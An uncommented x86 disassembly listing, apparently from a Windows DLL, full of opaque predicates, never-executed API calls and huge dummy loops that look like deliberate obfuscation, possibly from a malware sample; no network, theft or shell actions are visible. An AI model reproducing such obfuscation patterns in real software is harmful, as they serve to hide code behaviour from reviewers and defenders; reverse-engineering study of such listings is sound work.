lea ecx, [ebp - 0x254]
call fcn.10022db7
mov dword [eax], 0xffff
jmp 0x10038fc5
push 1
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xb28]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xb28]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x254]
call fcn.10022db7
push 1
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov esi, eax
push 1
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x10039053
mov dword [ebp - 0xf00], 1
jmp 0x1003905a
and dword [ebp - 0xf00], 0
push 0
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov ecx, dword [ebp - 0xf00]
cmp ecx, dword [eax]
jg 0x1003907d
mov dword [ebp - 0xb30], 1
jmp 0x10039084
and dword [ebp - 0xb30], 0
mov esi, dword [ebp - 0x60]
sub esi, dword [ebp - 0xb30]
push 1
lea ecx, [ebp - 0x254]
call fcn.10022db7
sub esi, dword [eax]
cmp esi, dword [ebp - 0x60]
jl 0x100390ad
mov dword [ebp - 0x13ac], 1
jmp 0x100390b4
and dword [ebp - 0x13ac], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jg 0x100390c8
mov dword [ebp - 0x11e0], 1
jmp 0x100390cf
and dword [ebp - 0x11e0], 0
cmp dword [ebp - 0x11e0], 0xa814
jge 0x100390e7
mov dword [ebp - 0xb38], 1
jmp 0x100390ee
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0xb38], eax
jg 0x100390fd
cmp dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x428]
sub eax, 8
cmp eax, 0x30b91ee4
jg 0x10039119
mov dword [ebp - 0xf08], 1
jmp 0x10039120
and dword [ebp - 0xf08], 0
mov eax, dword [ebp - 0xf08]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x10039141
mov eax, 0x9964
test eax, eax
jne 0x10039141
and dword [ebp - 0xb40], 0
jmp 0x1003914b
mov dword [ebp - 0xb40], 1
push 1
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov eax, dword [eax]
imul eax, dword [ebp - 0xb40]
test eax, eax
je 0x100392bb
mov dword [ebp - 0x50c], 0x46f26339
mov dword [ebp - 0xb50], 1
mov dword [ebp - 0x420], 0
jmp 0x10039196
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 3
jge 0x100391b2
mov eax, dword [ebp - 0x420]
mov dword [ebp + eax*4 - 0x1ec8], 0xd4c3f121
jmp 0x10039189
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1c00], eax
push 3
pop eax
test eax, eax
je 0x100391da
cmp dword [ebp - 0x50c], 0
je 0x100391da
mov dword [ebp - 0x10f0], 1
jmp 0x100391e1
and dword [ebp - 0x10f0], 0
cmp dword [ebp - 0x10f0], 0
jle 0x100391f6
mov dword [ebp - 0xb48], 1
jmp 0x100391fd
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0xb48], eax
jge 0x10039217
mov dword [ebp - 0xf10], 1
jmp 0x1003921e
and dword [ebp - 0xf10], 0
mov eax, dword [ebp - 0xf10]
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x1df8], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1c08], eax
mov eax, dword [ebp - 0xb50]
sub eax, 0x419d97
mov dword [ebp - 0xb50], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1ec8], 0xdb2097e6
mov dword [ebp - 0x14], 0
jmp 0x10039274
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x18
jl 0x100392b6
mov dword [ebp - 0x60], 0
jmp 0x1003928a
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x1a
je 0x100392b4
mov byte [ebp - 0x1da], 0
movzx eax, byte [ebp - 0x1da]
test eax, eax
je 0x100392b2
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_IntersectClipRect]
jmp 0x10039283
jmp 0x1003926d
jmp 0x10039509
mov dword [ebp - 0xb68], 0x122e
mov dword [ebp - 0xb58], 0xffffffff
mov dword [ebp - 0x1a8], 0xfffffffa
mov dword [ebp - 0x14], 0
jmp 0x100392e9
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10039509
mov dword [ebp - 0x1798], 0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1de0], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov ecx, dword [ebp - 0xb68]
cmp dword [eax], ecx
jg 0x1003932d
mov dword [ebp - 0x126c], 1
jmp 0x10039334
and dword [ebp - 0x126c], 0
mov eax, dword [ebp - 0x126c]
mov dword [ebp - 0xb58], eax
imul eax, dword [ebp - 0xb58], 0xfffffffd
cmp eax, 0x64a0
jge 0x1003935a
mov dword [ebp - 0xf18], 1
jmp 0x10039361
and dword [ebp - 0xf18], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov esi, dword [ebp - 0xf18]
add esi, dword [eax]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
cmp esi, dword [eax]
je 0x10039395
mov dword [ebp - 0xb60], 1
jmp 0x1003939c
and dword [ebp - 0xb60], 0
mov eax, dword [ebp - 0xb60]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x36c21779
jl 0x100393ba
mov dword [ebp - 0x10f8], 1
jmp 0x100393c1
and dword [ebp - 0x10f8], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov eax, dword [eax]
add eax, dword [ebp - 0x10f8]
add eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x100393eb
mov dword [ebp - 0xf20], 1
jmp 0x100393f2
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0xb68]
cmp eax, dword [ebp - 0xf20]
jl 0x1003940c
mov dword [ebp - 0xb70], 1
jmp 0x10039413
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0xb70]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1c10], eax
mov eax, 0xc39f
cmp eax, 0x7ff9
jle 0x10039443
mov dword [ebp - 0x11e8], 1
jmp 0x1003944a
and dword [ebp - 0x11e8], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov ecx, dword [ebp - 0x11e8]
cmp ecx, dword [eax]
jle 0x1003946e
mov dword [ebp - 0xb78], 1
jmp 0x10039475
and dword [ebp - 0xb78], 0
push 1
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov ecx, dword [ebp - 0xb78]
cmp ecx, dword [eax]
jne 0x10039498
mov dword [ebp - 0xf28], 1
jmp 0x1003949f
and dword [ebp - 0xf28], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov eax, dword [eax]
add eax, dword [ebp - 0xf28]
mov dword [ebp - 0x1798], eax
mov dword [ebp - 0x1a8], 0
jmp 0x100394d4
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 3
jg 0x10039504
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov esi, eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.10022db7
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x100394c7
jmp 0x100392e2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x254]
call fcn.10022d9b
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x1344], 0
mov dword [ebp - 0x438], 0x1a049fe3
mov dword [ebp - 0xb80], 0xbc9
mov dword [ebp - 0x1728], 0x1000b210
cmp dword [ebp - 0xb80], 0xc61
jle 0x10039631
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and dword [ebp - 0x514], 0
jmp 0x10039572
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x227d
jge 0x10039631
and dword [ebp - 0x430], 0
jmp 0x10039598
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x1b0f
jge 0x1003962c
and dword [ebp - 0x51c], 0
jmp 0x100395be
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0x6ab6
jge 0x10039627
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x430]
add eax, dword [ebp - 0x51c]
cdq
mov dword [ebp - 0x14e4], eax
mov dword [ebp - 0x14e0], edx
push dword [ebp - 0x14e0]
push dword [ebp - 0x14e4]
lea ecx, [ebp - 0x225c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x13b4], eax
mov ecx, dword [ebp - 0x13b4]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x225c]
call fcn.100229d5
jmp 0x100395b1
jmp 0x1003958b
jmp 0x10039565
mov byte [ebp - 0x15d], 0
cmp dword [ebp - 0xb80], 0x893
jge 0x10039650
push dword [ebp - 0x1728]
call fcn.10074e83
pop ecx
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x10039665
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
mov dword [ebp - 0x438], 0
jmp 0x1003967e
mov eax, dword [ebp - 0x438]
dec eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0xfffffff1
je 0x100396a5
mov byte [ebp - 0x1dc], 0
movzx eax, byte [ebp - 0x1dc]
test eax, eax
je 0x100396a3
push 0
push 0
call dword [sym.imp.GDI32.dll_SetLayout]
jmp 0x10039671
lea eax, [ebp - 0x1344]
push eax
lea ecx, [ebp - 0x207c]
call fcn.10048319
mov dword [ebp - 0x13bc], eax
mov eax, dword [ebp - 0x13bc]
mov dword [ebp - 0x17a0], eax
mov dword [ebp - 4], 0x13
mov edx, dword [ebp - 0xcb8]
mov ecx, dword [ebp - 0x17a0]
call fcn.100266ae
mov dword [0x10095018], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x207c]
call fcn.10022c86
and dword [ebp - 0x324], 0
jmp 0x1003970b
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xe
jae 0x10039ab0
mov dword [ebp - 0x228], 0xad313dd3
mov dword [ebp - 0x1100], 0x2e18
mov dword [ebp - 0x13c4], 0x1000b238
cmp dword [ebp - 0x1100], 0x2e7d
jle 0x100397f6
and dword [ebp - 0x524], 0
jmp 0x1003975c
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 0x7d73
jge 0x100397ee
and dword [ebp - 0x440], 0
jmp 0x10039782
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0xf1e
jge 0x100397e9
and dword [ebp - 0x52c], 0
jmp 0x100397a4
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0x59e8
jge 0x100397e7
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x440]
sub eax, dword [ebp - 0x52c]
cdq
mov dword [ebp - 0x14f0], eax
mov dword [ebp - 0x14ec], edx
push dword [ebp - 0x14ec]
push dword [ebp - 0x14f0]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x10039797
jmp 0x10039775
jmp 0x1003974f
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
cmp dword [ebp - 0x1100], 0x2d21
jge 0x10039812
mov edx, dword [ebp - 0x13c4]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x448], 0
jmp 0x1003982b
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 4
jge 0x10039847
mov eax, dword [ebp - 0x448]
mov dword [ebp + eax*4 - 0x1b60], 0
jmp 0x1003981e
mov dword [ebp - 0x228], 0
jmp 0x10039860
cmp dword [ebp - 0x228], 0xfffffff8
jle 0x10039a9d
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x534], 0
jmp 0x1003988d
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 2
jge 0x100398a9
mov eax, dword [ebp - 0x534]
mov dword [ebp + eax*4 - 0x1cec], 0xffffffff
jmp 0x10039880
cmp dword [ebp - 0x10], 0
je 0x1003996d
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x10]
jle 0x100398ca
mov dword [ebp - 0x1734], 1
jmp 0x100398d1
and dword [ebp - 0x1734], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1e00], eax
imul eax, dword [ebp - 0x10], 0xc105
imul eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
cmp eax, 0xe5077045
jne 0x10039901
cmp dword [ebp - 0x228], 0
jne 0x10039901
mov dword [ebp - 0xb88], 1
cmp dword [ebp - 0xb88], 1
jbe 0x10039920
and dword [ebp - 0x1294], 0
cmp dword [ebp - 0x1294], 0xfffffff6
jb 0x10039989
mov dword [ebp - 0xb98], 1
jmp 0x10039990
and dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0xb98]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 3
jmp 0x100399b0
cmp dword [ebp - 0x10], 0
jl 0x10039a98
mov eax, dword [ebp - 0x324]
mov byte [ebp + eax - 0x1344], 0
jmp 0x100396fe
push 2
lea ecx, [ebp - 0x1898]
call fcn.10022d19
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x1e08], 0xffffffff
mov dword [ebp - 0x1c20], 0xa6b950ba
mov dword [ebp - 0x1dec], 0xee87f6fb
mov dword [ebp - 0x1c28], 5
mov dword [ebp - 0x1e7c], 0x7cc42477
mov dword [ebp - 0x1c30], 0x7d67
mov dword [ebp - 0x1df4], 9
mov dword [ebp - 0x1c38], 0x17ca4e86
mov dword [ebp - 0x1d10], 5
mov dword [ebp - 0x53c], 0
jmp 0x10039b37
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 2
jge 0x10039b56
push dword [ebp - 0x53c]
lea ecx, [ebp - 0x1898]
call fcn.10022db7
or dword [eax], 0xffffffff
jmp 0x10039b2a
push 1
lea ecx, [ebp - 0x1898]
call fcn.10022db7
mov dword [eax], 0xfffffffe
jmp 0x10039b8f
push 1
lea ecx, [ebp - 0x1898]
call fcn.10022db7
mov dword [ebp - 0xf40], eax
mov eax, dword [ebp - 0xf40]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xf40]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1898]
call fcn.10022db7
cmp dword [eax], 0xfffffff8
jne 0x10039db9
mov dword [ebp - 0x1c40], 0xfffffff6
mov dword [ebp - 0x1d14], 0x9cc25fa5
mov dword [ebp - 0x1c48], 0x865925ef
push 1
lea ecx, [ebp - 0x1acc]
call fcn.10022d19
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x210], 0xffff
mov dword [ebp - 0x458], 0
jmp 0x10039bf7
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 1
jge 0x10039c16
push dword [ebp - 0x458]
lea ecx, [ebp - 0x1acc]
call fcn.10022db7
or dword [eax], 0xffffffff
jmp 0x10039bea
mov eax, dword [ebp - 0x210]
dec eax
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x210], 7
jmp 0x10039c3c
cmp dword [ebp - 0x210], 0x3a
jl 0x10039da5
push 0
lea ecx, [ebp - 0x1acc]
call fcn.10022db7
cmp dword [eax], 0
je 0x10039c60
jmp 0x10039da5
mov dword [ebp - 0xbb0], 0x5cef
mov dword [ebp - 0x13cc], 0x1000b26c
cmp dword [ebp - 0xbb0], 0x5d6b
jle 0x10039d62
and dword [ebp - 0x610], 0
jmp 0x10039c9a
cmp dword [ebp - 0x610], 0x61fe
jge 0x10039d62
mov byte [ebp - 0x1de], 0
movzx eax, byte [ebp - 0x1de]
test eax, eax
je 0x10039d84
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_TextOutA]
cmp dword [ebp - 0xbb0], 0x5af5
jge 0x10039da0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1acc]
call fcn.10022d9b
jmp 0x10039b6b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1898]
call fcn.10022d9b
push 4
lea ecx, [ebp - 0x8f4]
call fcn.10022d19
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x870], 3
mov dword [ebp - 0x1d1c], 0
mov dword [ebp - 0x620], 0
jmp 0x10039e09
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 4
jge 0x10039e28
push dword [ebp - 0x620]
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
or dword [eax], 0xffffffff
jmp 0x10039dfc
push 2
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
mov esi, eax
push 3
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x10039e56
mov dword [ebp - 0xbb8], 1
jmp 0x10039e5d
and dword [ebp - 0xbb8], 0
push 2
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
cmp dword [eax], 0
je 0x10039e8d
push 2
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
cmp dword [eax], 0
je 0x10039e8d
mov dword [ebp - 0x11f4], 1
jmp 0x10039e94
and dword [ebp - 0x11f4], 0
cmp dword [ebp - 0x11f4], 0x71247adf
jne 0x10039eac
mov dword [ebp - 0xf48], 1
jmp 0x10039eb3
and dword [ebp - 0xf48], 0
mov eax, dword [ebp - 0xbb8]
cmp eax, dword [ebp - 0xf48]
je 0x10039ecd
mov dword [ebp - 0xbc0], 1
jmp 0x10039ed4
and dword [ebp - 0xbc0], 0
push 2
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
mov ecx, dword [ebp - 0xbc0]
cmp ecx, dword [eax]
jg 0x10039ef7
mov dword [ebp - 0x1110], 1
jmp 0x10039efe
and dword [ebp - 0x1110], 0
push 2
lea ecx, [ebp - 0x8f4]
call fcn.10022db7
mov ecx, dword [ebp - 0x1110]
cmp ecx, dword [eax]
je 0x10039f21
mov dword [ebp - 0x87c], 0xb1658084
mov dword [ebp - 0x185c], 0x93e0566a
push 3
lea ecx, [ebp - 0x19c0]
call fcn.10022d19
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x1784], 0xd0890515
mov dword [ebp - 0x1470], 0x657e3b6f
mov dword [ebp - 0x778], 0
jmp 0x1003c2d2
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 3
jge 0x1003c2f4
push dword [ebp - 0x778]
lea ecx, [ebp - 0x19c0]
call fcn.10022db7
mov dword [eax], 0x82baef6e
jmp 0x1003c2c5
mov byte [ebp - 0x1d9], 0
movzx eax, byte [ebp - 0x1d9]
test eax, eax
je 0x1003c310
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectClipRgn]
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x1dfc], eax
cmp dword [ebp - 0x87c], 0xffffffff
jne 0x1003c331
mov dword [ebp - 0xfd8], 1
jmp 0x1003c338
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0x87c]
add eax, dword [ebp - 0x185c]
je 0x1003c364
push 2
lea ecx, [ebp - 0x19c0]
call fcn.10022db7
cmp dword [eax], 0
je 0x1003c364
mov dword [ebp - 0xcd8], 1
jmp 0x1003c36b
and dword [ebp - 0xcd8], 0
push 1
lea ecx, [ebp - 0x19c0]
call fcn.10022db7
mov ecx, dword [ebp - 0xcd8]
cmp ecx, dword [eax]
jle 0x1003c38e
mov dword [ebp - 0x1464], 1
jmp 0x1003c395
and dword [ebp - 0x1464], 0
mov eax, dword [ebp - 0x1784]
cmp dword [ebp - 0xfd8], eax
jl 0x1003c3af
mov dword [ebp - 0xce0], 1
jmp 0x1003c3b6
and dword [ebp - 0xce0], 0
mov eax, dword [ebp - 0xce0]
mov dword [ebp - 0x1470], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19c0]
call fcn.10022d9b
mov eax, dword [0x10095018]
cmp eax, dword [ebp - 0x62c]
je 0x1003c3ef
mov eax, dword [0x100950dc]
cmp eax, dword [ebp - 0x62c]
jne 0x1003c8bb
mov dword [ebp - 0x18], 0xa631
mov dword [ebp - 0x1c8], 1
mov dword [ebp - 0x147c], 0xdc4b54c5
mov dword [ebp - 0x528], 0
jmp 0x1003c423
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 1
jge 0x1003c43c
mov eax, dword [ebp - 0x528]
mov dword [ebp + eax*4 - 0x64], 0x39be
jmp 0x1003c416
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0
jmp 0x1003c453
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x1003c7d8
mov dword [ebp - 0xce8], 0x3f6085e0
mov dword [ebp - 0x680], 0x3d0bb94d
mov dword [ebp - 0xcf0], 0xffffffff
mov dword [ebp - 0x192c], 0x94ff5452
mov dword [ebp - 0x178c], 0xe0ec
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x64], 0
je 0x1003c586
xor eax, eax
inc eax
je 0x1003c53b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jne 0x1003c4cf
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x64], 0
jne 0x1003c4cf
and dword [ebp - 0x1158], 0
jmp 0x1003c4d9
mov dword [ebp - 0x1158], 1
mov eax, dword [ebp - 0x1158]
mov dword [ebp - 0xce8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
sub eax, dword [ebp - 0xce8]
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x1d20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
mov dword [ebp - 0x1e6c], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp + eax*4 - 0x64], 0
test eax, eax
je 0x1003c53b
mov eax, 0x132d7af2
test eax, eax
je 0x1003c53b
cmp dword [ebp - 0x680], 0
je 0x1003c53b
mov dword [ebp - 0xfe0], 1
jmp 0x1003c542
and dword [ebp - 0xfe0], 0
mov eax, dword [ebp - 0xfe0]
mov dword [ebp - 0xcf0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
cmp dword [ebp - 0xcf0], eax
je 0x1003c569
mov dword [ebp - 0x1220], 1
jmp 0x1003c570
and dword [ebp - 0x1220], 0
mov eax, dword [ebp - 0x1220]
neg eax
je 0x1003c586
mov dword [ebp - 0xcf8], 1
jmp 0x1003c58d
and dword [ebp - 0xcf8], 0
cmp dword [ebp - 0xcf8], 0
jle 0x1003c5a2
mov dword [ebp - 0xfe8], 1
jmp 0x1003c5a9
and dword [ebp - 0xfe8], 0
mov eax, dword [ebp - 0xfe8]
mov dword [ebp - 0x192c], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x680], eax
jg 0x1003c5cc
mov dword [ebp - 0xd00], 1
jmp 0x1003c5d3
and dword [ebp - 0xd00], 0
cmp dword [ebp - 0xd00], 0x690b2811
jg 0x1003c5eb
mov dword [ebp - 0x1160], 1
jmp 0x1003c5f2
and dword [ebp - 0x1160], 0
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0x1160]
jle 0x1003c615
mov eax, 0xdb20
test eax, eax
je 0x1003c615
mov dword [ebp - 0xd08], 1
jmp 0x1003c61c
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xd08], eax
jge 0x1003c633
mov dword [ebp - 0xff0], 1
jmp 0x1003c63a
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
cmp dword [ebp - 0xff0], eax
jle 0x1003c655
mov dword [ebp - 0xd10], 1
jmp 0x1003c65c
and dword [ebp - 0xd10], 0
cmp dword [ebp - 0xd10], 0xffffffff
jle 0x1003c671
mov dword [ebp - 0x1268], 1
jmp 0x1003c678
and dword [ebp - 0x1268], 0
mov eax, dword [ebp - 0x1268]
add eax, 0xfffc
cmp eax, 0x5188
jl 0x1003c696
mov dword [ebp - 0xd18], 1
jmp 0x1003c69d
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
cmp dword [ebp - 0xd18], eax
jl 0x1003c6b8
mov dword [ebp - 0xff8], 1
jmp 0x1003c6bf
and dword [ebp - 0xff8], 0
cmp dword [ebp - 0xff8], 7
je 0x1003c6d5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x1003c6eb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x1003c6eb
and dword [ebp - 0xd20], 0
jmp 0x1003c6f5
mov dword [ebp - 0xd20], 1
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0xd20]
jne 0x1003c70f
mov dword [ebp - 0x1168], 1
jmp 0x1003c716
and dword [ebp - 0x1168], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x64]
cmp dword [ebp - 0x1168], eax
jge 0x1003c731
mov dword [ebp - 0xd28], 1
jmp 0x1003c738
and dword [ebp - 0xd28], 0
cmp dword [ebp - 0xd28], 1
je 0x1003c753
cmp dword [ebp - 0x147c], 0
jne 0x1003c753
and dword [ebp - 0x1000], 0
jmp 0x1003c75d
mov dword [ebp - 0x1000], 1
mov eax, dword [ebp - 0x1c8]
cmp dword [ebp - 0x1000], eax
jg 0x1003c777
mov dword [ebp - 0xd30], 1
jmp 0x1003c77e
and dword [ebp - 0xd30], 0
cmp dword [ebp - 0xd30], 0xfff9
jbe 0x1003c796
mov dword [ebp - 0x1228], 1
jmp 0x1003c79d
and dword [ebp - 0x1228], 0
mov eax, dword [ebp - 0x178c]
cmp dword [ebp - 0x1228], eax
jg 0x1003c7c0
cmp dword [ebp - 0x1c8], 0
je 0x1003c7c0
mov dword [ebp - 0xd38], 1
jmp 0x1003c7c7
and dword [ebp - 0xd38], 0
mov eax, dword [ebp - 0xd38]
mov dword [ebp - 0x1c8], eax
jmp 0x1003c44c
mov dword [ebp - 0x1008], 0x1b63
mov dword [ebp - 0x1488], 0x1000b508
cmp dword [ebp - 0x1008], 0x1df1
jle 0x1003c887
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
and dword [ebp - 0x530], 0
jmp 0x1003c81e
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0x115e
jge 0x1003c87f
and dword [ebp - 0x728], 0
jmp 0x1003c840
mov eax, dword [ebp - 0x728]
inc eax
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0x239c
jge 0x1003c87d
mov eax, dword [ebp - 0x530]
xor eax, dword [ebp - 0x728]
cdq
mov dword [ebp - 0x1580], eax
mov dword [ebp - 0x157c], edx
push dword [ebp - 0x157c]
push dword [ebp - 0x1580]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003c833
jmp 0x1003c811
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0xc]
call fcn.100229df
push eax
push dword [ebp + 8]
call fcn.1002f7f4
pop ecx
pop ecx
jmp 0x10044bd0
mov dword [ebp - 0x1048], 0x3f39
mov dword [ebp - 0x187c], 0x1000b52c
cmp dword [ebp - 0x1048], 0x3ff4
jle 0x1003c9c6
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectObject]
and dword [ebp - 0x538], 0
jmp 0x1003c8ff
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0x6bb
jge 0x1003c9c6
and dword [ebp - 0x688], 0
jmp 0x1003c925
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 0x272d
jge 0x1003c9c1
and dword [ebp - 0x540], 0
jmp 0x1003c94b
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0x2064
jge 0x1003c9bc
and dword [ebp - 0x7b8], 0
jmp 0x1003c96d
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
